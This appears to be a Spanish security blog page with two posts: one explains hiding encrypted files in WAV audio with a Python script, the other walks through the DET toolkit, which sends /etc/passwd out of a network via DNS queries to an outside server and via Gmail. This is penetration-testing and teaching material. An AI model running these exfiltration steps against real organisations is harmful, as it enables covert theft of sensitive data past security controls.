Showing posts with label documentos. Show all posts
Showing posts with label documentos. Show all posts

Monday, January 9, 2017

Esteganografía con ficheros de audio Enviar documentos secretos en tus canciones preferidas Esteganografía

Esteganografía con ficheros de audio Enviar documentos secretos en tus canciones preferidas Esteganografía


Las técnicas de esteganografía nos permiten ocultar elementos (mensaje, objetos, etc…) dentro de otros elementos de modo que el primero sea imperceptible a primera vista. Por ejemplo, se puede ocultar información dentro de una imagen utilizando los bits menos significativos para componer el mensaje oculto. Pues bien, en la siguiente prueba de concepto, vamos a realizar algo parecido ocultando archivos “dentro del sonido” de un fichero WAV.

Figura 1: Esteganografía con ficheros de audito

Para entender mejor esta prueba, vamos a explicar un poco algunos conceptos básicos necesarios. Todos nosotros cuando éramos pequeños, seguro que hemos cogido plantillas de dibujo en las cuales habían unos puntos numerados, los cuales teníamos que seguir con el lápiz para formar la silueta del dibujo. Pues bien, con el sonido digital ocurre algo parecido. Cuando estamos grabando una sesión de sonido, nosotros elegimos el samplerate (muestras de valores de sonido tomadas en un segundo) y la resolución de dicha muestra (cantidad de bits con los que se miden dichos valores). De esta manera, cuando el reproductor, procese el audio grabado, lo hará como si escribiera una figura de puntos numerados, creando así las ondas sonoras que se reproducirán en nuestros altavoces.

Figura 2: Los puntos indican en qué momento del eje X (tiempo) se ha tomado una muestra de sonido,
 y en eje Y se dibuja la resolución captada en ese momento (negativo o positivo)

Vale, pero entonces, ¿cómo podemos ocultar la información “dentro del sonido”? Pues la verdad, es que es bastante sencillo de realizar. Teniendo en cuenta, que la resolución de cada muestra puede ser de por ejemplo 16 bits, vamos a coger los 8 bits menos significativos (valores comprendidos entre 0-255, lo cual hace que la modificación de onda de sonido sea imperceptible) de la muestra para almacenar cada byte del fichero que queremos ocultar, además, éstos se van a intercalar entre el canal derecho e izquierdo (stereo) y en un intervalo de X muestras (para evitar posible deterioro en el audio).

Figura 3: Valores de los bits de audio en 16bits

Figura 4: Valores máximos por profundidad de bits:

Además, para poder tener una estructura la cual podamos desenglosar y recuperar, añadiremos las siguientes funcionalidades:
- Generaremos una cabecera dentro del audio modificado para poder identificar que ahí se está escondiendo “algo” (con un tamaño que determinaremos nosotros). 
- Un byte para indicar si el fichero está cifrado con GPG (Añadir una capa de cifrado al documento oculto nos dará más garantía) 
- Una trama de 4 bytes para identificar el tamaño del fichero a extraer (número de 32bits, además, nunca llegará a ser tar alto por las limitaciones de un fichero wav, pero 24 bits podrían quedarse cortos). 
- Y finalmente la trama de bytes del fichero oculto.

Figura 5: Estructura de la trama de datos ocultos

Para poder visualizar mejor lo que se pretende hacer, he creado un script en Python que utiliza la librería wave y gnupg para este fin, del cual explicaremos los bloques más importantes (recalcar que el script está diseñado para ser funcional a sabiendas de los errores que puede causar por no estar diseñado para un uso constante). El script y demás material lo podéis descargar del siguiente repositorio de github: Estewav y en este vídeo tenéis un ejemplo de su funcionamiento:

Figura 6: Funcionamiento de Estewav

Analizando el script para ocultar documentos en ficheros wav

Sólo vamos a repasar los apartados clave del mismo y para seguirlo es muy recomendable tener el script a mano. Vamos a ver el codificador - encargado de codificar y cifrar el archivo que queremos ocultar en el archivo wav - y luego el decodificador podéis ver en el script como es exactamente la función inversa.

codificador.py 

jumpsData = 10
#Espacio de muestras del framerate para la toma de datos válidos, al hacer esto, hacemos que los cambios en el audio se noten menos aun si se puede...

numFraSize = 4
# numero de bytes con el que se compondrá el número decimal final que indica la cantidad de bytes que ocupa el fichero oculto

cipher = CIPHER_ON
# establecemos si se va a cifrar o no

header = ["S", "Y", "L", "M"]
# 1 byte por cada caracter (contra menos caracteres, más posibilidades de error por accidente), pasaremos el valor de cada string a su valor ascii para poder manipularlo como bytes.



# Obtenemos los datos del fichero de audio original para que sean iguales en el audio wav destino:

channels = fileWav.getnchannels() # canales de audio (1 mono, 2 stereo)
sampleWidth = fileWav.getsampwidth() # número de bytes para las muestras del samplerate
frameRate = fileWav.getframerate() # obtenemos el número de muestras (frames) por segundo que realiza



# Si el cifrado está activo, lo ciframos (nos guardamos también el fichero cifrado original)

if cipher == CIPHER_ON:

gpg_home = "gnupg"
gpg = gnupg.GPG(gnupghome=gpg_home)
encrypted_ascii_data = gpg.encrypt_file(fileToHide, None, passphrase=passphrase_cipher, symmetric=True, output=pathFileToHideCipher)
fileToHide.close()

fileToHideEncripted = open(pathFileToHideCipher, rb)
bytesFileToHide = bytearray(fileToHideEncripted.read()) # guardamos todos los bytes del archivo en un array
fileToHideEncripted.close()
else:
bytesFileToHide = bytearray(fileToHide.read()) # guardamos todos los bytes del archivo en un array
fileToHide.close()



startIn = 0 # índice del byte del sample de audio donde se empieza a contar

# A tener en cuenta:
#
# bytem = byte menos significativo
# byteM = byte más significativo
#
# si se un sistema estereo el muestreo comienza así -> bytem_ch1 - byteM_ch1 - bytem_ch2 - byteM_ch2 .....
# si se un sistema mono el muestreo comienza así -> bytem_ch1 - byteM_ch1 - bytem_ch1 - byteM_ch1 .....
#
# ----------------



# Este será el espaciado (saltos) con el que intercalemos cada uno de los bytes de toda la trama (cabecera, etc...)
jump = (sampleWidth * jumpsData) # salto para grabar en los bytes correctos



# Al tratarse de bytes no podemos poner un número entero muy alto en cada valor, para ello separamos el número total de bytes que se tienen que guardar en 4 octetos (32bits), mediante desplazamiento binario:
# grabamos el tamaño bytes que ocupa el fichero oculto en los bytes asignados para ello
# utilizamos desplazamiento de bits para guardarlo en bloques de un octeto (byte) y luego poder recomponerlo
desplazamiento = 0
for i in range(numFraSize):

#print bytes(len(bytesFileToHide)>>24 & 0xFF) , bytes(len(bytesFileToHide)>>16 & 0xFF) , bytes(len(bytesFileToHide)>>8 & 0xFF) , bytes(len(bytesFileToHide)>>0 & 0xFF)
bytesfileWav[indexSampleWav] = len(bytesFileToHide)>>desplazamiento & 0xFF
desplazamiento += 8
indexSampleWav += jump

Tal y como están diseñados los scripts, podéis clonaros el repositorio y ejecutarlo cambiando los valores de los ficheros de origen y destino o simplemente ejecutarlo y ver los resultados. Al ejecutar el script codificador.py veremos lo siguiente en la salida:

Figura 7: Salida del codificador

Nos proporciona datos sobre el audio de origen como el número de canales, el ancho de muestra en bytes y el número total de frames que tiene el ficheros. Además, nos calcula en base a esos datos y en base a los saltos que tenemos configurados, cuantos bytes podemos ocultar dentro de él. A parte, nos analiza si el tamaño del fichero que queremos ocultar es inferior a la capacidad máxima y de ser así nos lo oculta, tiendo en cuenta, que si hemos activado el cifrado GPG nos lo ocultará cifrado con el passphrase que hayamos configurado en el script.

A continuación escucháis el fichero .wav original (por defecto audioBase3.wav) y a continuación escucharéis el fichero estego.wav el cual lleva oculto el fichero (por defecto oculta el archivo calico.jpg cifrado). Es muy probable que no notéis ninguna diferencia entre los dos archivos de sonido. Para hacernos una idea de la viabilidad de esta técnica de esteganografía, vamos a realizar la visualización gráfica del sonido, y para ello nos ayudaremos de la herramienta audacity. A continuación mostraré una imagen de dos tomas de tiempo de un audio musical (audioBase3.wav) y el mismo aplicándole la esteganografía (estego.wav).

Figura 8: Audio de fichero original y con esteganografía

Como podéis ver, ni si quiera aumentando hasta ver los puntos de muestreo podemos detectar una diferencia visual apreciable (menos aún nuestro oído). Para acercarnos más y poder ver algo con más claridad, en las siguientes dos imágenes pondré un captura de audio con una frecuencia constante de 1Hz y otra imagen de audio nulo (plano), para que podamos ver que aunque la diferencia de valores es minúscula, estos, claramente existen.

Figura 9: Imagen de toma con 1Hz con un ciclo completo.

Aquí ya podemos ver pequeños cambios en el alisado de la onda, pero tenemos que tener en cuenta que la onda de arriba es una onda perfecta generada por código y en la grabación de audio real no es tan perfecto.

Figura 10: Imagen de toma nula (silencio completo)

En este último ejemplo, al ser un audio totalmente nulo, podemos ver sin problemas la dimensión que tiene un byte de datos dentro del audio, el cual es insignificante, ya que hay que tener en cuenta que todo el audio es nulo excepto el dato oculto. Y esto es todo. Espero que os haya gustado y hasta la próxima.

Saludos!

Autor: Christian Prieto Bustamante

Available link for download

Read more »

Tuesday, November 15, 2016

Data Exfiltration Toolkit DET Filtrando documentos fuera de la empresa por canales encubiertos estego

Data Exfiltration Toolkit DET Filtrando documentos fuera de la empresa por canales encubiertos estego


Cuando un pentester tiene que realizar una prueba de Data Exfiltration dentro de una auditoría, ésta puede ser una tarea realmente divertida. En algunos procesos de hacking ético se solicita al proveedor que intente sacar documentos del interior de una organización con el objetivo de comprobar que los sistemas implantados en la empresa para evitar la fuga de información por parte de un empleado funcionan. Lógicamente, el atacante siempre tendrá cierta ventaja, ya que hoy en día existen diversos canales y vías para extraer información, y no pensemos solamente en el mundo físico con los pendrives.

Figura 1: Data Exfiltration Tookit (DET)
Filtrando documentos fuera de la empresa por canales encubiertos

La encapsulación de información dentro de protocolos comunes como TCP, o el uso de canales encubierto ocultando ficheros en ficheros, usando conexiones vía Radio Frecuencia, GSM o Calor, e incluso los SSID de una WiFi, pueden ser las vías más utilizadas para extraer información de una organización. Y por ello existe toda una disciplina de estudio centrada en la esteganografía y el estegoanálisis.

DET: Data Exfiltration Toolkit

DET, Data Exfiltration Toolkit, es una herramienta que permite realizar Data Exfiltration utilizando uno o varios canales a la vez. La idea que está detrás de DET es la de disponer de una herramienta genérica que facilite encapsular información dentro de un protocolo o utilizar servicios de terceros, por ejemplo Gmail o Twitter, para extraer la información. DET puede ser descargado desde su sitio web en Github, dónde además podemos encontrar diversas pruebas de concepto muy interesantes.

En el artículo de hoy realizaremos una prueba de concepto de esta herramienta para ver cómo se puede sacar información de una red a través del uso de protocolos comunes. Para descargar DET se deben ejecutar estas instrucciones:
git clone https://github.com/sensepost/DET.git
pip install –r requirements.txt –user.
Esta última instrucción descargará e instalará todas las dependencias referentes a Python, que es el lenguaje en el que DET está implementado.

PoC 1: Enviando un fichero a través del protocolo DNS con DET

Las opciones que DET proporciona son realmente interesantes. Si se echa un vistazo rápido a las diversas opciones se puede observar las siguientes:
• La posibilidad de configurar un fichero dónde se indican los parámetros que tanto el cliente y servidor deben conocer. Por ejemplo, el contenido se cifra con AES-256 a través de una clave que se indica en el fichero de configuración. 
• La opción de extraer un directorio o un fichero en concreto. 
• La posibilidad de indicar el plugin o listado de éstos que se quiere utilizar. Esto es útil si no queremos lanzar todos los plugins. 
• Los plugins disponibles en estas primeras versiones de DET son: HTTP, Google Docs, DNS, Gmail, TCP, UDP, Twitter o el protocolo ICMP.
• Además, existen unos scripts escritos para Powershell para llevar a cabo este tipo de técnicas desde entornos Microsoft.
DET proporciona dos roles diferenciados. La máquina que se encuentre en el exterior de la organización hará las funciones de servidor y será el que espere recibir el fichero “robado” de la organización. Por otro lado, el rol cliente será el encargado de generar la conexión desde el interior y utilizar los diversos plugins para enviar el fichero o carpeta hacia el servidor.

Lo primero es hablar del fichero config.json. DET trae un json de prueba denominado config-sample.json, con el que se puede ver los diferentes protocolos, denominados plugins en este contexto, y las diferentes configuraciones de estos.

Figura 2: Configuración de DET

Como se puede visualizar en la imagen, en el caso del protocolo DNS, se puede utilizar haciendo peticiones al dominio pablo.com, a la dirección IP 192.168.56.103 y el puerto 53. El dominio, en este caso, se utiliza a modo de clave. Otra parte interesante del archivo config.json es el atributo AES_KEY, dónde se indica el valor de la clave AES que deben conocer tanto servidor como cliente para cifrar el contenido. Además, se puede ver un randomize entre el número de peticiones enviados, para intentar evitar que elementos de seguridad bloqueen o detecten el patrón.

Figura 3: Configuración del patrón de cambio

Ahora, se procede a configurar el servidor en una máquina Linux. Para este caso sencillo, se utilizan los parámetros –L para indicar que el modo de ejecución es servidor, es decir, se recibirá el fichero “robado” en esta máquina. Se utiliza el parámetro –c para indicar la configuración de los plugins y cuál es la clave de cifrado utilizada. Y, por último, se añade el parámetro –p y se indica dns. Con esto se le dice al servidor que solo configure el plugin de DNS, que será el protocolo utilizado para enviar la información.

Figura 4: Configuración del listener que recibirá los paquetes de datos

Ahora, el cliente empleará el protocolo DNS para realizar queries del siguiente modo:
- Query 1. [Contenido Cifrado].pablo.com.
- Query 2. [Contenido Cifrado].pablo.com
- …
- Query N. [Contenido Cifrado].pablo.com.
Para configurar esto se debe ejecutar la siguiente instrucción:
python det.py –c ./config.json –f [fichero a extraer de la organización] –p dns.

Figura 5: Envío del fichero /etc/passwd

Si analizamos con Wireshark la red podemos ver un gran número de consultas repartidas en el tiempo y por bloques de bytes. El truco en este caso está en los subdominios utilizados junto al dominio pablo.com. En la siguiente imagen se puede ver una captura de queries que se envían hacia al servidor, cada subdominio es un “trozo” de fichero que el servidor se encargará de descifrar y procesar.

Figura 6: Consultas al servidor DNS vistas con Wireshark

Una vez todo el fichero es enviado hasta el servidor, éste se encarga de recuperarlo, unirlo y descifrarlo. El resultado es el fichero original, pero ya fuera de los dominios de la organización. Por supuesto, existen medidas para detectar este tipo de comportamientos, pero son medidas de seguridad más avanzadas que las comunes.

Figura 7: Fichero totalmente recibido

La utilización de protocolos para encapsular información y poder sacarla de una organización es una vía viable y muy efectiva, aunque por supuesto el éxito de la operación dependerá del tiempo necesario y las medidas de seguridad de las que conste la empresa.

Figura 8: El fichero ha sido exfiltrado y recompuesto completamente

El fichero queda almacenado en el servidor con el nombre [original].[fecha]. Tal y como se puede visualizar en la imagen, se obtiene el fichero passwd original y totalmente legible para cualquier usuario del exterior. El robo y la extracción de información del interior de la organización ha sido llevado a cabo de forma silenciosa.

PoC 2: Robando información a través de la cuenta de Gmail

En esta segunda prueba de concepto el escenario es muy similar. La única diferencia es que el cliente se conectará al puerto 587 de Gmail para dejar en su bandeja de entrada distintos mensajes de e-mail con trozos cifrados de archivo y codeados en Base64. Hay que modificar el fichero config.json e indicar el usuario y contraseña de la cuenta de Gmail.

Una vez realizado este paso hay que lanzar el servidor con la configuración adecuada de Gmail. Para ello se indica con el parámetro –p que el plugin a utilizar es el de Gmail y sólo ese.

Figura 9: Recepción del fichero vía Gmail

El cliente se invoca de forma similar a cómo se hizo en la prueba de concepto anterior, salvo que la configuración del json ha cambiado en el plugin de Gmail y que se indica que solo se quiere utilizar el plugin de Gmail. Es bastante interesante ver cómo se indica que se envían e-mails a uno mismo para ir dejando la información en los distintos correos electrónicos.

Figura 10: Envío de fichero desde el cliente vía Gmail

Si se entrase a través del navegador a la cuenta de Gmail utilizada para este ejercicio se podría ver cómo hay diferentes correos electrónicos dónde se puede ver un contenido en base64, el cual son trozos de ficheros.

Figura 11: Mensajes de correo dejados en Gmail con trozos Base64 del fichero exfiltrado

Esta vía de Data Exfiltration es una manera sencilla y limpia utilizando un tercero de confianza, como puede ser Gmail, para extraer dicha información. ¿Y en tu empresa? ¿Qué medidas tienes para evitar este robo de información o extracción de información sensible corporativa? Hay que tener en cuenta que a veces no basta con sacar el fichero, ya que este puede llevar un "callback home" que avise cada vez que se abre de la ubicación desde dónde ha sido abierto, así que no solo hay que robarlo, hay que conseguir abrirlo sin que se enteren, pero de eso ya hablaremos en otro momento.

Autor: Pablo González Pérez (@pablogonzalezpe)
Escritor de los libros "Metasploit para Pentesters", "Ethical Hacking" y “Pentesting con Powershell”

Available link for download

Read more »